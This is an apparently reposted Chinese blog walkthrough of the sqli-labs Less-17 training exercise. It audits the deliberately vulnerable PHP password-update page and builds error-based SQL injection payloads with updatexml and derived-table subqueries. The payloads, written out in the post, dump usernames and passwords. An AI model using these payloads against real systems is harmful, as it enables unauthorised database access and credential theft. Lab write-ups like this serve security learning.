当前位置:网站首页>SQL注入 Less17(报错注入+子查询)
SQL注入 Less17(报错注入+子查询)
2022-07-25 10:31:00 【开心星人】

界面发生了一个明显的变化,是更新密码的,只需要我们输入用户名和新密码
底层可能是这样的UPDATE users SET password = '新密码' WHERE username='用户名'
这题用白盒审计来做
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
}
?>
check_input函数,可能是一个waf,进行一些过滤之类的,我们先不具体看它的函数体
然后判断我们有没有传入uname和passwd参数
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
只对uname进行了过滤函数
分析check_input函数get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1;当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
stripslashes():删除由 addslashes() 函数添加的反斜杠
ctype_digit():判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string():转义 SQL 语句中使用的字符串中的特殊字符,如\x00、\n、\r、\、’、"、\x1a
intval():整型转换
能力有限,不知道有啥用,但是substr这个就过滤的很强了,只取输入的前十五个字符。一般我们使用的报错注入,union注入什么的,肯定都不止十五个字符。
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
先执行了一条select语句,只使用了我们传入的$uname参数
$row = mysql_fetch_array($result); 查出了一行语句,做一个映射关系(相当于字典,哈希表)
比如查出的username为Dumb,password为111
那么$row 就为{username:Dumb,password:111}
大概就是这个意思
必须要$row不为空,才可以进入到后面的语句
所以这就要求我们,输入的uname参数不能为空,而且uname必须要存在才可以,我用的是Dumb
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
所以passwd是注入点
updatexml解析
updatexml是SQL语法的一个函数:UPDATEXML(XML_document, XPath_string, new_value)
参数:
1: XML_document是String格式,为XML文档对象的名称,文中为Doc
2:XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
3: new_value,String格式,替换查找到的符合条件的数据。
在这里,我们利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上。
and updatexml(1, (concat('#',(payload))), 1) #or updatexml(1, (concat('#',(payload))), 1) #
具体使用and 还是 or就要根据前面的一条语句执行是否成功来判断
' and updatexml(1, concat('#', database()), 1) #
' or updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #
这里用or,因为上一步已经将所有用户的密码都设置为空了,这次还是将所有用户密码设置为空,所以update语句执行失败,使用or才会执行后面的updatexml语句,使用and则不会
' or updatexml(1, concat("#", (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0) #
' or updatexml(1, concat("#", (select group_concat(username,password) from users)), 0) #
You can’t specify target table ‘users’ for update in FROM clause
不能在FROM子句中为update指定目标表’users’
使用基于from的子查询,将payload构造到from的子查询中。' or updatexml(1, concat('#', (select * from (select group_concat(username,password) from users))), 0) #
Every derived table must have its own alias
每个派生表必须有自己的别名
所以我们需要指定一个别名,我指定的为happy' or updatexml(1, concat('#', (select * from (select group_concat(username) from users) happy)), 0) #
发现输入结果会有一个长度的限制,使用substring函数即可
' or updatexml(1, concat('#', substring((select * from (select group_concat(username) from users) happy),10,31)), 0) #
https://blog.csdn.net/weixin_43901998/article/details/106126679
边栏推荐
- Learn NLP with Transformer (Chapter 8)
- Hcip experiment (03)
- Loadbalancerlife lifecycle requested by feign client
- HCIA experiment (06)
- Reinforcement Learning 强化学习(四)
- Redis sentry, high availability executor
- 用Unity不会几个插件怎么能行?Unity各类插件及教程推荐
- HDD杭州站全程体验有感
- Learn NLP with Transformer (Chapter 4)
- 机智云物联网平台 STM32 ESP8266-01S 简单无线控灯
猜你喜欢

复习背诵整理版

mysql事务是什么

Stm32cubemx learning record -- installation, configuration and use

【IJCAI 2022】参数高效的大模型稀疏训练方法,大幅减少稀疏训练所需资源

Hcip experiment (01)

最详细的mysql索引解析(文末附赠思维导图)

Some usages of beautifulsoup

机智云物联网平台 STM32 ESP8266-01S 简单无线控灯

NowCoderTOP7-11——持续更新ing
![TPS calculation in performance test [Hangzhou multi tester] [Hangzhou multi tester _ Wang Sir]](/img/b2/7a6b99f0ec907b83ac58ed44b23062.png)
TPS calculation in performance test [Hangzhou multi tester] [Hangzhou multi tester _ Wang Sir]
随机推荐
JS convert pseudo array to array
UE4.26源码版学习广域网独立服务器时遇到的客户端运行黑屏问题
Nowcodertop12-16 - continuous updating
There is a newline problem when passing shell script parameters \r
Learn NLP with Transformer (Chapter 6)
Esp8266 uses drv8833 drive board to drive N20 motor
Learn NLP with Transformer (Chapter 4)
Implementation of recommendation system collaborative filtering in spark
LVS负载均衡之LVS-DR搭建Web群集与LVS结合Keepalived搭建高可用Web群集
PostgreSQL stepping on the pit | error: operator does not exist: UUID = character varying
玩游戏想记录一下自己超神的瞬间?那么就来看一下如何使用Unity截图吧
Learn Luzhi PHP -- tp5.0 uses Chinese as an alias and reports "unsupported data expression"
txt转csv文件,隔行出现空行
HCIA experiment (08)
Signal integrity (SI) power integrity (PI) learning notes (XXXIV) 100 rules of thumb for estimating signal integrity effects
为什么重写equals()方法必须要重写hashCode()方法
[information system project manager] thought map series essence summary
Learn NLP with Transformer (Chapter 7)
Reinforcement learning (III)
mysql事务是什么